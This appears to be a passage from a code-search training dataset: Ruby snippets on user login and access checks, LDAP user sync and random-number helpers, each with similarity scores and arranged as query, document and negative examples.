"def can_edit?(user)\n self == user\n end",
"def ownerOrAdmin\n if not signed_in? && (Greenroof.find_by_id(params[:id]).user_id == current_user.id || current_user.admin?)\n redirect_to root_url\n end\n end",
"def edit\n\t\tif !current_user || !is_this_user\n\t\t\tredirect_to user_path(params[:id])\n\t\tend\n\tend"
] |
[
"0.809157",
"0.78970766",
"0.7776367",
"0.7669978",
"0.7639958",
"0.75839335",
"0.75267303",
"0.75190496",
"0.74935085",
"0.74656653",
"0.74600446",
"0.7456615",
"0.74560815",
"0.738951",
"0.7377735",
"0.7371912",
"0.73404634",
"0.733168",
"0.7316766",
"0.72924685",
"0.72897655",
"0.7263163",
"0.72380084",
"0.7130642",
"0.7125518",
"0.71102303",
"0.7096488",
"0.70404315",
"0.70305246",
"0.701887",
"0.69878525",
"0.696848",
"0.69435245",
"0.69381815",
"0.69248873",
"0.69111526",
"0.69089544",
"0.69089544",
"0.68925023",
"0.6887423",
"0.68783945",
"0.6846342",
"0.6837996",
"0.68359685",
"0.6825201",
"0.6823432",
"0.68097496",
"0.680508",
"0.68016684",
"0.67955333",
"0.6777752",
"0.6771133",
"0.67691565",
"0.67691565",
"0.67683744",
"0.67619854",
"0.675735",
"0.6754198",
"0.675418",
"0.6719819",
"0.67152566",
"0.6702908",
"0.6698354",
"0.6698046",
"0.6691762",
"0.6691164",
"0.6688419",
"0.6688419",
"0.668606",
"0.66677797",
"0.6665546",
"0.66620815",
"0.66616976",
"0.66532266",
"0.6652014",
"0.6649961",
"0.66427726",
"0.66375846",
"0.66332567",
"0.66306585",
"0.6630454",
"0.6624025",
"0.661983",
"0.66160876",
"0.6612469",
"0.6610371",
"0.66103345",
"0.66084176",
"0.6607228",
"0.66057634",
"0.6601298",
"0.65996534",
"0.65989965",
"0.6596535",
"0.6596521",
"0.6584165",
"0.6581936",
"0.6581936",
"0.6581936",
"0.65800875",
"0.65781194"
] |
0.0
|
-1
|
rand generates pseudo random from 01 rand(10) generates pseudo random from 010 we use it to get something like 4.41445946155691
|
def random_float
rand * rand(10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_random()\n begin\n r = Kernel.rand()\n end while r == 0.0\n \n if use_flt?\n BigDecimal(r.to_s)\n else\n r\n end\n end",
"def rand\n return extract_number / (2**32 -1).to_f\n end",
"def random\n 1 + (10 * rand(0))\n end",
"def random_float\n %x{\n self.state++;\n return Opal.$$rand.rand(self.$rng);\n }\n end",
"def random_float\n Rubinius.primitive :randomizer_rand_float\n raise PrimitiveFailure, \"Randomizer#rand_float primitive failed\"\n end",
"def random_float\n Rubinius.primitive :randomizer_rand_float\n raise PrimitiveFailure, \"Randomizer#rand_float primitive failed\"\n end",
"def gen_speed\n rand + 15.0\n end",
"def rand\n warn \"STUB: rand in distribution.rb\"\n end",
"def rand(max = nil)\n bytes = source.random_bytes(8)\n num = bytes.unpack(\"F\").first.abs / Float::MAX\n if max then\n num = bytes.unpack(\"Q\").first % max.floor\n end\n return num\n end",
"def digit\n rand(10)\n end",
"def rnd( val )\n\t\traise 'Trouble' if val == 0.0\n\t\tp = 10**(Math.log10(val.abs).floor)\n\t\tp = val < 0 ? -p : p\n\t\treturn (val / p).round(1) * p\n\tend",
"def rnd( val )\n\t\traise 'Trouble' if val == 0.0\n\t\tp = 10**(Math.log10(val.abs).floor)\n\t\tp = val < 0 ? -p : p\n\t\treturn (val / p).round(1) * p\n\tend",
"def rand_digit #generate random digit\n\treturn rand(10)\nend",
"def srand(num=0) end",
"def random\n rand - rand\nend",
"def random_real_ruby(rng)\n total_real = rng.rand(0..@max_ruby[0])\n total_real\n end",
"def rand\n Kernel.rand(self)\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def random_to_one\n return rand()\n end",
"def set_rand()\n rdm = Random.new()\n @step = rdm.rand(1..10) * 100\n @rate = rdm.rand(1.2..3.0) \n end",
"def any_number(*options)\n number = (rand(2 * MAX_RAND) - MAX_RAND).to_f/100.0\n if options.include? :positive\n number + MAX_RAND\n elsif options.include? :negative\n number - MAX_RAND\n else\n number\n end\n end",
"def gen_rand b\n p = rand(2**b)+2**b-1\n while ! rand_test p\n# puts p\n p += 1\n end\n p\nend",
"def random_no\n rand(5000)\nend",
"def nostalgia; return rand end",
"def probability\n rand(1..100)\n end",
"def rand(max=0) end",
"def time_rand from = 0.0, to = Time.now\n Time.at(from + rand * (to.to_f - from.to_f))\nend",
"def time_rand from = 0.0, to = Time.now\n Time.at(from + rand * (to.to_f - from.to_f))\nend",
"def gen\n (x=rand)>0.5 ? x : (x < rand/2.0) ? 1.0 - x : x\nend",
"def random_number\n rand(0..20)\n end",
"def rand_exp(rate)\n -Math.log(rand) / rate\n end",
"def random_angle\n 360 * rand\n end",
"def non_zero_digit\n rand(1..9)\n end",
"def randomizer\n number = rand(0..1)\n return number\nend",
"def rand\n return @location + @scale * rand_std_ratio_method\n end",
"def mine_real(random)\n if @max_real.zero?\n 0\n else\n real = random.rand(@max_real + 1)\n real\n end\n end",
"def get_random()\n \n end",
"def get_random()\n \n end",
"def get_random\n File.read(\"/dev/urandom\", 8).unpack(\"H*\")[0].hex\n rescue\n rand(9117854927)\n end",
"def get_random\n @num.sample.first\n end",
"def random\n card = rand(1..52)\n card.to_i\n end",
"def random\n card = rand(1..52)\n card.to_i\n end",
"def generate_number\n if self.respond_to? :inv_cdf\n inv_cdf(rand)\n else\n generate_sample 1\n end\n end",
"def random_fake_ruby(rng)\n total_fake = rng.rand(0..@max_ruby[1])\n total_fake\n end",
"def tirar_dado\r\n\trand 1..6\r\nend",
"def rut\n # Rut is gonna be between 1.000.000 and 24.999.999\n n = rand(1_000_000...25_000_000)\n \"#{n}-#{dv(n)}\"\n end",
"def generateAccuracy()\n return (rand 0.6..0.8)\nend",
"def randomf(range)\n return rand * range\nend",
"def randomNum()\r\n num = rand(1..10)\r\nend",
"def gen_num\n rand(1..100)\nend",
"def randr(min, max)\n rand(max - min + 1) + min\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def random_num_generator\n return rand(1..100)\nend",
"def get_rand range\n\t\t@random_number = rand(range)\n\tend",
"def generate_random_number\n (1..10).to_a.sample\nend",
"def random_total_ruby(rng)\n total_num = [random_real_ruby(rng), random_fake_ruby(rng)]\n total_num\n end",
"def get_rand\n rand = \"\";\n File.open(\"/dev/urandom\").read(20).each_byte{|x| rand << sprintf(\"%02x\",x)}\n rand\nend",
"def random_num(min, max)\n rand(max - min + 1) + min\nend",
"def generate_one_random_number()\r\n @l = @total_no_of_bits + 1\r\n bit_string = @total_sequence.join('')\r\n numerator = bit_string.to_i(2)\r\n random_number = numerator *1.0 / 2**@l\r\n\r\n return random_number\r\n end",
"def random_account_number\r\n acct_num = rand(10**11).to_s.rjust(11, '1')\r\n return acct_num\r\n end",
"def random_number\n t = Time.now.to_f / (Time.now.to_f % Time.now.to_i)\n random_seed = t * 1103515245 + 12345;\n (random_seed / 65536) % 32768;\nend",
"def random_num(min, max)\n rand(max - min + 1) + min\nend",
"def sleep_for(rate)\r\n -Math.log(1.0 - Random.rand) / rate\r\n end",
"def random_turn deg\n rand(deg) - (deg/2)\n end",
"def tirar_dado\r\n rand 1..6\r\nend",
"def random_number(min, max)\n rand(max-min+1)+min\n end",
"def random20\n rand(20) + 1\n end",
"def test_random_with_float_integer_limit\n result = perform(\"random(1.0)\")\n assert_kind_of Sass::Script::Number, result\n assert result.value >= 0, \"Random number was below 0\"\n assert result.value <= 1, \"Random number was above 1\"\n end",
"def random_to_x(max)\n return rand(max)\n end",
"def generate_number\r\n return randomNumber = 1 + rand(100)\r\n end",
"def time_rand(from = 0.0, to = Time.now)\n Time.at(from + rand * (to.to_f - from.to_f))\nend",
"def random_number( bits )\n m = (1..bits-2).map{ rand() > 0.5 ? '1' : '0' }.join\n s = \"1\" + m + \"1\"\n s.to_i( 2 )\n end",
"def tirar_dado\n rand 1..6\nend",
"def make_rand\n Random.new_seed\n return Random.new\n end",
"def randomRoll\n\t 1 + rand(6)\n\tend",
"def random_price\n (rand(0..100.0) * 100).floor/100.0\nend",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def tirar_dado\n rand 1..6\nend",
"def generateFirepower()\n return (rand(2.0..4.0))\nend",
"def test_random_number_generation\n rand = @game.get_random_number(0, 10)\n assert rand <= 10 && rand >= 0\n end",
"def random_number \n rand(6) + 1 \nend",
"def fudge(stat)\n stat * rand(0.8..1.2)\n end",
"def random_number\n rand 0..20\nend",
"def rand(max)\n max-1\nend",
"def random low, high\n $lib_prng.range low, high\nend",
"def get_random()\n rand(@count).times { @cur = @cur.next }\n @cur.val\n end",
"def get_random(min, max)\r\n rand(min..max)\r\n end",
"def rating\n rand(40..140).to_s\n end",
"def random_on_interval(min, max)\n min + @prng.rand(max - min)\n end",
"def random_to_x(user)\n return (rand (0 .. (get_x_for_random(user).to_f)))\n end",
"def random_to_x(user)\n return (rand (0 .. (get_x_for_random(user).to_f)))\n end",
"def sleep_time\n 1.0/(rand(10) + 1)\n end",
"def random\n new(one.random())\n end",
"def random_to_x(user)\n return rand(get_x_for_random(user))\n end",
"def randomize_count()\n @rand_count\n end",
"def random_cost\n rand(1..10)\nend",
"def make_not_so_random!\n srand 1213\nend"
] |
[
"0.7837686",
"0.77281445",
"0.7547714",
"0.71551806",
"0.71075815",
"0.71075815",
"0.7002897",
"0.6914746",
"0.68725765",
"0.68639934",
"0.6802012",
"0.6802012",
"0.67990583",
"0.67890334",
"0.6755617",
"0.67540085",
"0.6747877",
"0.67228144",
"0.67228144",
"0.67228144",
"0.67228144",
"0.6714591",
"0.6683677",
"0.6672184",
"0.66450053",
"0.66180664",
"0.66000134",
"0.65862614",
"0.65850407",
"0.65850407",
"0.6583859",
"0.65681654",
"0.65486276",
"0.6542486",
"0.6525463",
"0.6523914",
"0.65229046",
"0.65173614",
"0.6506161",
"0.6506161",
"0.64924365",
"0.6484928",
"0.64844763",
"0.64841765",
"0.64618355",
"0.64604735",
"0.64598364",
"0.64339155",
"0.64324194",
"0.6416487",
"0.6413881",
"0.6413025",
"0.64108646",
"0.6409398",
"0.6409398",
"0.64088386",
"0.64080584",
"0.6404246",
"0.6398284",
"0.63835293",
"0.63724506",
"0.6366811",
"0.63665",
"0.63635296",
"0.6361406",
"0.6351621",
"0.6345704",
"0.63381124",
"0.63377273",
"0.6337124",
"0.63332355",
"0.63323474",
"0.63318217",
"0.63252115",
"0.6314991",
"0.631028",
"0.62888443",
"0.6282856",
"0.6278399",
"0.6278399",
"0.6278399",
"0.627833",
"0.62745094",
"0.62629616",
"0.62436086",
"0.6238352",
"0.6220121",
"0.62194663",
"0.62079155",
"0.6199257",
"0.61970997",
"0.619286",
"0.6190856",
"0.6190856",
"0.6189321",
"0.61797154",
"0.6179286",
"0.61778736",
"0.6174285",
"0.61716384"
] |
0.8145263
|
0
|
comprobar que el acceso se corresponde con el usuario logeado
|
def correct_employee
params[:id]==current_user
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ha_accedido?\n\t\t!usuario_actual.nil?\n\tend",
"def usuario_actual\n \t#se guarda al usuario actual que esta loggeado por cuestion de eficiencia\n \t#para no accesar a la base de datos todo el tiempo\n \t@usuario_actual ||= Alumno.find(session[:alumno_id]) if session[:alumno_id]\n end",
"def comprobar_usuario_login\n @usuario_actual=nil\n return unless session[:user_id]\n @usuario_actual = Usuario.find_by_id(session[:user_id])\n end",
"def logear_usuario(nombre_de_usuario,clave_de_usuario)\n @usuario_actual = validar_usuario(nombre_de_usuario,clave_de_usuario)\n @usuario_actual.logear\n end",
"def creador\n\t\tusuario\n\tend",
"def control_usuario \n usuarios = Usuario.all\n usuarios.each do |u|\n if cuentum_signed_in? && current_cuentum.id == u.cuenta_id\n if u.rol == \"USUARIO\" \n redirect_to \"welcome/index\" \n end\n end\n end\n end",
"def control_usuario \n usuarios = Usuario.all\n usuarios.each do |u|\n if cuentum_signed_in? && current_cuentum.id == u.cuenta_id\n if u.rol == \"USUARIO\" \n redirect_to \"welcome/index\" \n end\n end\n end\n end",
"def controlador(cont)\n Permiso.find_by_controlador_and_rol_id(cont, Permiso.current_user.rol_id)\n end",
"def set_usuario\n \n end",
"def convidar\n @compra = Compra.find(params[:compra_id])\n\n if params[:user_select]\n user_select = params[:user_select]\n\n user = User.find_by_nome(user_select.split(\" - \").first)\n\n if(current_user != user && !@compra.users.where(:id => user.id).present?)\n @compra.users << user\n\n redirect_to compra_produtos_path(@compra), notice: \"#{user.nome.upcase} adicionado a sua lista de compras com sucesso!!\"\n else\n redirect_to compra_produtos_path(@compra), alert: \"#{user.nome.upcase} você já pertence a essa lista.\"\n end\n end\n end",
"def buscar_usuario(nombre_de_usuario)\n #dos usuarios son iguales si su nombre de usuario es el mismo\n @usuarios.detect(-> do\n raise UsuarioInexistente\n end) {|usuario| usuario.nombre_de_usuario == nombre_de_usuario}\n end",
"def current_user\n #carico l'user da sessione con auth esterna tramite omniauth\n @current_user ||= AuthHub::User.find_by(id: session['warden.user.user.key'][0][0]) unless session['warden.user.user.key'].blank?\n #se non ho fatto login esterna carico id salvato (usato in sign_in omniauth e anche login con email e psw devise)\n @current_user ||= AuthHub::User.find_by(id: session[:user_id], stato: 'confermato')\n #se ho uno user corrente carico in sessione l'ente corrente\n #se ha un ente principale carico quello, altrimenti l'ho fissato col cambia ente\n if !@current_user.blank? && session['ente_corrente'].blank?\n ente_principale ||= ( AuthHub::EnteGestito.ente_principale_da_user(@current_user.id)[0] unless AuthHub::EnteGestito.ente_principale_da_user(@current_user.id).blank? )\n #se non era stato inserito l'ente principale per lo user prendo il primo dell'array\n ente_principale ||= @current_user.enti_gestiti[0] unless @current_user.enti_gestiti.blank?\n session['ente_corrente'] = ente_principale #unless ente_principale.blank?\n end\n #se session['ente_corrente'] è un hash devo caricare l'istanza di ente_gestito\n if session['ente_corrente'].is_a?(Hash)\n begin\n session['ente_corrente'] = AuthHub::EnteGestito.find(session['ente_corrente']['id'])\n rescue ActiveRecord::RecordNotFound => exc\n #metto l'ente principale\n unless AuthHub::EnteGestito.ente_principale_da_user(@current_user.id).blank?\n session['ente_corrente'] = AuthHub::EnteGestito.ente_principale_da_user(@current_user.id)[0] \n else\n session['ente_corrente'] = nil\n end\n end \n end\n @current_user\n end",
"def seguir(otro_usuario)\n\t\t# siguiendo << otro_usuario\n\t\trelaciones_activas.create(seguido_id: otro_usuario.id)\n\tend",
"def usuario_actual\n\t\tif (id_usuario = session[:id_usuario])\n\t\t\t@usuario_actual ||= Usuario.find_by(id: id_usuario)\n\t\telsif (id_usuario = cookies.signed[:id_usuario])\n\t\t\t#raise # Error provocado para la prueba de test/helpers/sesiones_helper_test.rb\n\t\t\tusuario = Usuario.find_by(id: id_usuario)\n\t\t\tif usuario && usuario.autentificado?(:recuerda, cookies[:token_recuerda])\n\t\t\t\tdar_acceso_a usuario\n\t\t\t\t@usuario_actual = usuario\n\t\t\tend\n\t\tend\n\tend",
"def usuario_correto\n @usuario = Usuario.find(params[:id])\n redirect_to(root_path) unless usuario_corrente?(@usuario)\n end",
"def exec_granted?(controler, xllave)\n\t\tauth = Execremotekey.where(\"controler= '#{controler}' AND llave = '#{xllave}' \").first\n\t\tif auth == nil\n\t\t\tredirect_to noautorizado_url, notice: \"No esta autorizado a entrar a esta opcion\"\n\t\t\tfalse\n\t\telse\n\t\t\tauth.delete #para que no se reutilice la misma validacion\n\t\t\ttrue\n\t\tend\n\tend",
"def set_acceso\n @acceso = Acceso.find(params[:id])\n end",
"def usuario_actual?(usuario)\n\t\tusuario == usuario_actual\n\tend",
"def reenviar_usuario\n @bandera = false\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_reenviar_usuario = false\n @security_role_type = Security::RoleType.find_by(name: \"Reenviar Usuario\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_reenviar_usuario = true\n break\n elsif role_type.security_role_type.name == \"Consultar\"\n @bandera = true\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_reenviar_usuario = true\n end\n if @bandera == true\n elsif params[:action] == \"forget_username_list\" && @permiso_reenviar_usuario == false\n redirect_to root_path\n end\n return @permiso_reenviar_usuario\n end\n end\n end",
"def verificar_autenticado_admin\n unless session[:usuario_admin] #else if,tiene quer ser falso\n bitacora \"Intento de accceso sin autenticacion a la zona del admin\"\n flash[:error]=\"Debe autenticarse como Administrador\"\n redirect_to :action => \"index\" , :controller => \"externo\"\n return false\n end\n end",
"def redirecionar_usuario_logado\n if current_account != nil \n redirect_to accounts_url\n end\n end",
"def require_permission\n set_comentario\n @comentario = @politico.comentarios.find(params[:id])\n if (current_user != @politico.user) and (current_user != @comentario.user)\n flash[:notice] = 'Permissões insuficientes!'\n redirect_to @politico\n end\n end",
"def current_user\n current_usuario\n end",
"def has_autorisation_icarien?(duser)\n drequest = {\n where: {user_id: duser[:id], raison: 'ICARIEN ACTIF'}\n }\n table_autorisations_online.count(drequest) > 0\n end",
"def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end",
"def set_fatura\n @fatura = Fatura.find(params[:id])\n @fatura.contrato.conexoes.each { |c| c.current_user = current_user }\n end",
"def load_user_and_authorization\n @owner_user = User.find( params[:user_id] )\n @current_user_is_owner = ( current_user_id == params[:user_id].to_i )\n end",
"def ldap_crea_usuario(usuario, clave, hash, prob)\n if !ENV['JN316_CLAVE']\n prob << 'Falta clave LDAP para agregar usuario'\n return nil\n end\n if Rails.application.config.x.jn316_gidgenerico.nil?\n prob << 'No ha asignado gid de grupo generico config.x.jn316_gidgenerico'\n return nil\n end\n opcon = {\n host: Rails.application.config.x.jn316_servidor,\n port: Rails.application.config.x.jn316_puerto,\n auth: {\n method: :simple, \n username: Rails.application.config.x.jn316_admin,\n password: ENV['JN316_CLAVE']\n }\n }.merge(Rails.application.config.x.jn316_opcon)\n ldap_conadmin = Net::LDAP.new( opcon )\n cn = limpia_cn(usuario.nusuario)\n dn = \"cn=#{cn},#{Rails.application.config.x.jn316_basegente}\"\n if !clave.nil? && clave != ''\n hash = Net::LDAP::Password.generate(:sha, clave)\n end\n if usuario.uidNumber.nil?\n usuario.uidNumber = Usuario.maximum('uidNumber')\n if usuario.uidNumber.nil?\n prob << \"No pudo obtenerse uidNumber máximo. Parece que no ha sincronizado (cree algún usuario en LDAP antes)\"\n return false\n end\n usuario.uidNumber += 1\n end\n attr = {\n cn: cn,\n uid: cn,\n mail: usuario.email,\n gidNumber: Rails.application.config.x.jn316_gidgenerico.to_s,\n givenName: usuario.nombres,\n sn: usuario.apellidos,\n homeDirectory: \"/home/#{cn}\",\n loginShell: \"/bin/ksh\",\n userPassword: hash,\n uidNumber: usuario.uidNumber.to_s,\n objectclass: [\"top\", \"inetOrgPerson\", \"posixAccount\"]\n }\n grupos = usuario.msip_grupo.map(&:cn)\n ldap_conadmin.open do |ldap|\n if !ldap.add(:dn => dn, :attributes => attr)\n prob << ldap.get_operation_result.code.to_s +\n ' - ' + ldap.get_operation_result.message \n return false\n end\n if ldap_agrega_membresia(ldap, usuario.nusuario, \n grupos, prob).nil?\n return false\n end\n end\n return true\n rescue Exception => exception\n prob << 'Problema conectando a servidor LDAP (ldap_crea_usuario). ' +\n ' Excepción: ' + exception.to_s\n puts prob\n return false\n end",
"def current_user\n @current_user ||= User.find_by(idCadastro: session[:idCadastro])\n end",
"def current_user\n \t#se guarda al usuario actual que esta loggeado por cuestion de eficiencia\n \t#para no accesar a la base de datos todo el tiempo\n \t@current_user ||= Chef.find(session[:chef_id]) if session[:chef_id]\n end",
"def apresentacao\n if @permissao === \"convidado\"\n puts \"o usuário selecionado possui a permissao de Convidado\"\n end\n if @permissao === \"autenticado\"\n puts \"o usuário selecionado possui a permissao de Autenticado\"\n end\n if @permissao === \"admin\"\n puts \"o usuário selecionado possui a permissao de Admin\"\n end\n end",
"def set_usuario\n #Rails.logger = Logger.new(STDOUT)\n #logger.debug \"current_usuario \" + current_usuario.inspect\n #logger.debug \"params \" + params.inspect\n \n if (params[:id] == '0')\n params[:id] = current_usuario.id\n end\n\n @usuario = Usuario.find(params[:id]) \n if (@usuario != nil)\n if (current_usuario.id_tipo_usuario == 0 or\n @usuario.id == current_usuario.id)\n else\n @usuario = nil\n end\n end\n end",
"def authorize\n if current_user.nil? || current_user.tipo_usuario == \"Empleado\"\n redirect_to login_url, notice: \"No esta autorizado para ver esto. Por favor ingrese al sistema o reingrese como administrador.\"\n end\n end",
"def valida_usuario(correo, clave)\n data = Usuario.find_by(correo: correo, estado: ACTIVO, validado: VALIDADO)\n if data.blank?\n data1 = Usuario.find_by(correo: correo, estado: ACTIVO)\n if data1.blank? != true\n return [false, 'El usuario no ha sido validado, hágalo desde el mensaje que llego a su correo electrónico']\n else\n return [false, 'No existe usuario con ese correo electrónico']\n end\n else\n psw = data[:psw]\n clave_ing = crypttext(clave)\n res = psw <=> clave_ing\n if res == 0\n return [true, data]\n else\n return [false, 'contraseña incorrecta']\n end\n end\n end",
"def concesionaria?\n\t\thas_role?(:admin) or has_role?(:concesionaria)\n\tend",
"def authorized_by(user)\n user.id == self.id\n end",
"def connect\n \t\t#Se sigue la convencion para la identificacion del usuario\n \t\t#y buscamos alusuario que se intenta conectar\n \t\tself.current_user = find_user\n \tend",
"def user_access\n @bot = current_user.admin? ? Bot.find(params[:id]) : current_user.bots.find(params[:id])\n\n check_user_access(@bot.account.user_id)\n\n rescue\n flash_access_denied\n end",
"def correct_user\n @user = User.find(params[:id])\n redirect_to(users_path,:notice =>'Accés non autorisé') unless( current_user?(@user)|| current_user.is_admin?)\n end",
"def login_disponible(login)\n usuario = UsuarioService.new.listar_usuario(login)\n usuario.nil?\n end",
"def show\n authorize! :ver, @usuario_prestamo\n end",
"def compras_compartilhadas\n\t\tlista = current_user.compras.order(\"created_at DESC\")\n\t\tresu = []\n\t\tlista.each do |compra|\n\t\t\tif(compra.users.first != current_user)\n\t\t\t\tresu << compra\n\t\t\tend\n\t\tend\n\t\tresu\n\tend",
"def set_credito\n @cuota = CuotaCliente.find(params[:id])\n end",
"def es_recolector \n if current_user.rol != 2\n render json: {entrega: [\"Operación no permitida para este rol de usuario\"]}, status:401 \n end\n end",
"def actualizar_usuario(usuario, ldapus, grupos, prob, clave=nil)\n usuario.nombres = valor_campo_ldap(ldapus, :givenname)\n usuario.apellidos = valor_campo_ldap(ldapus, :sn)\n usuario.email = valor_campo_ldap(ldapus, :mail)\n usuario.uidNumber = valor_campo_ldap(ldapus, :uidNumber)\n if !ldapus.respond_to?(:userPassword)\n # deshabilitado en LDAP\n # Si falta deshabilitar en base\n if usuario.fechadeshabilitacion.nil?\n usuario.fechadeshabilitacion = Date.today\n end\n else \n # habilitado en LDAP, habilitar y guardar clave si hay\n usuario.fechadeshabilitacion = nil\n unless clave.nil?\n usuario.encrypted_password = BCrypt::Password.create(\n clave, \n {:cost => Rails.application.config.devise.stretches}\n )\n end\n end\n usuario.ultimasincldap = Date.today\n usuario.save\n if (usuario.errors.messages.length > 0)\n prob << usuario.errors.messages.to_s\n return nil\n end\n\n if grupos\n # Los grupos debieron sincronizarse antes, ahora solo \n # asegurar que están los de grupos y solo esos.\n grupobd = []\n Msip::GrupoUsuario.where(usuario_id: usuario.id).map do |gu|\n grupobd << gu.grupo_id\n end\n pore = grupobd-grupos\n pora = grupos-grupobd\n pore.each do |g|\n mg = Msip::GrupoUsuario.find(usuario_id: usuario.id, grupo_id: g)\n mg.delete\n end\n pora.each.each do |g|\n n = Msip::GrupoUsuario.new(usuario_id: usuario.id, grupo_id: g)\n n.save\n end\n end\n\n return usuario\n end",
"def deslogear_usuario\n if existe_usuario_logeado?\n @usuario_actual.desloguear\n else\n raise NingunUsuarioLogeado\n end\n end",
"def es_propietario\n set_entrega\n if @entrega.recolector != current_user\n render json: {entrega: [\"No permitido para este usuario\"]}, status:401\n end\n end",
"def set_comentario_autenticado\n @comentario_autenticado = ComentarioAutenticado.find(params[:id])\n end",
"def user_access\n @account = current_user.admin? ? Account.find(params[:id]) : current_user.accounts.find(params[:id])\n\n check_user_access(@account.user_id)\n\n rescue\n flash_access_denied\n end",
"def set_usuario\n @usuario = Usuario.find_by_email(current_usuario.email)\n end",
"def verifica_usuarios\n# @user_pages, @usuarios = paginate :users, :per_page => 10\n @usuarios = User.find(:all, :order => 'nombre')\n @rol = Rol.find(params[:id])\n @usuarios = @rol.users\n end",
"def authorize?(user)\n true\n #user.login == \"administrador\"\n end",
"def logado?\n !current_user.nil?\n end",
"def activar\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_activar = false\n @security_role_type = Security::RoleType.find_by(name: \"Activar\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name\n @permiso_activar = true\n break\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_activar = true\n end\n return @permiso_activar\n end\n end\n end",
"def correсt_user\n @user = User.find(params[:id])\n redirect_to(root_path) unless (current_user?(@user) or is_admin?)\n\n end",
"def revisa_conectado\n unless conectado?\n redirect_to root_path\n end\n end",
"def login(user)\n\tif $users_profil.include?(user)\n\t\tputs \"Username: #{user}\"\n\t\tputs \"Profil: #{$users_profil[user]}\" \n\telse \n\t\tputs \"Numele de utilizator este gresit.\"\n\t\tprima # daca a scris usernamul gresit sau daca acel username nu exista atunci scriptul practic se reinitializeaza\n\tend\nend",
"def set_usuario_curso\n @usuario_curso = UsuarioCurso.find(params[:id])\n end",
"def permiso_requerido\n if not protect?(action_name)\n return true\n end\n if @session['user'] and autorizado?(@session['user'], controller_name)\n return true\n end\n store_location\n access_denied\n return false\n end",
"def realizar_login_restrito(usuario, senha) \n\n @usuario = usuario\n @senha = senha\n\n usuario_restrito_input.set(@usuario)\n sleep(1)\n senha_restrito_input.set(@senha)\n sleep(1)\n acessar_restrito_button.click\n\n end",
"def existe_usuario_logeado?\n @usuarios.any? {|usuario| usuario.logeado}\n end",
"def set_usuario\n @relacionamento = Relacionamento.where(id: params[:id]).first\n end",
"def same_user(controller)\n user = User.find_by_id params[:id]\n if user== nil || user!= @current_user\n redirect_to :root, notice: '你没有权限查看其他token'\n end\n end",
"def exibe_para_usuario?\n \t\tif usuario_signed_in?\n \t\t\tif current_usuario.admin?\n \t\t\t\treturn true\n \t\t\telse\n \t\t\t\treturn false\n \t\t\tend\n \t\telse\n \t\t\treturn false\n \t\tend\n \tend",
"def ldap_sincroniza_usuarios(prob)\n usuarios = []\n deshab = []\n opcon = {\n host: Rails.application.config.x.jn316_servidor,\n port: Rails.application.config.x.jn316_puerto,\n auth: {\n method: :simple, \n username: Rails.application.config.x.jn316_admin,\n password: ENV['JN316_CLAVE']\n }\n }.merge(Rails.application.config.x.jn316_opcon)\n filter = Net::LDAP::Filter.eq( \"objectClass\", 'posixAccount')\n ldap_conadmin = Net::LDAP.new( opcon )\n lusuarios = ldap_conadmin.search(\n base: Rails.application.config.x.jn316_basegente, \n filter: filter \n )\n if lusuarios.nil?\n prob << ldap_conadmin.get_operation_result.code.to_s +\n ' - ' + ldap_conadmin.get_operation_result.message \n return nil\n end\n lusuarios.each do |entry|\n #byebug\n u = crear_actualizar_usuario(entry.cn[0], entry, nil, prob)\n if (u.nil?)\n return [usuarios, []]\n end\n usuarios << u.id\n end\n puts \"Actualizados \" + usuarios.length.to_s + \" registros de usuarios\"\n # Si se eliminaron registros del LDAP (que no se recomienda) \n # deshabilitar en base\n ::Usuario.habilitados.where('ultimasincldap IS NOT NULL').each do |u|\n unless usuarios.include?(u.id)\n u.fechadeshabilitacion = Date.today\n u.ultimasincldap = nil\n u.save\n deshab << u.id\n end\n end\n puts \"Deshabilitados \" + deshab.length.to_s + \n \" registros de usuarios que estuvieron en LDAP pero ya no\"\n \n return [usuarios, deshab]\n rescue Exception => exception\n prob << 'Problema conectando a servidor LDAP ' +\n '(ldap_sincroniza_usuarios). Excepción: ' + exception.to_s\n puts prob\n return [usuarios, deshab]\n end",
"def current_usuario\n if (user_id = session[:user_id])\n @current_user ||= User.find_by(id: user_id)\n elsif (user_id = cookies.signed[:user_id])\n usuario = User.find_by(id: usuario_id)\n if usuario && usuario.authenticated?(:remember, cookies[:remember_token])\n #log_in usuario\n render 'inicio'\n @current_user = usuario\n end\n end\n end",
"def actualizar\n if toca_actualizar\n actualizar_privado\n end\n end",
"def create\n \n user = Farmacium.where(correo: params[:correo]).first\n if user==nil\n redirect_to \"/login\", notice: 'Correo no se encuentra Registrado' \n else\n if(user.verificado==true or user.correo=='ADMIN')\n if user && user.authenticate(params[:password])\n # Save the farmacia id inside the browser cookie. This is how we keep the farmacia \n # logged in when tey navigate arund our website.\n session[:farmacia_id] = user.id\n if user.correo == 'ADMIN'\n redirect_to '/laboratorios'\n else\n redirect_to '/lab_fars'\n end\n else\n # If farmacia's login doesn't work, send them back to the login form.\n redirect_to \"/login\", notice: 'Error de autenticacion' \n end\n \n else\n redirect_to \"/login\", notice: 'Usuario no verificado' \n \n end\n end\nend",
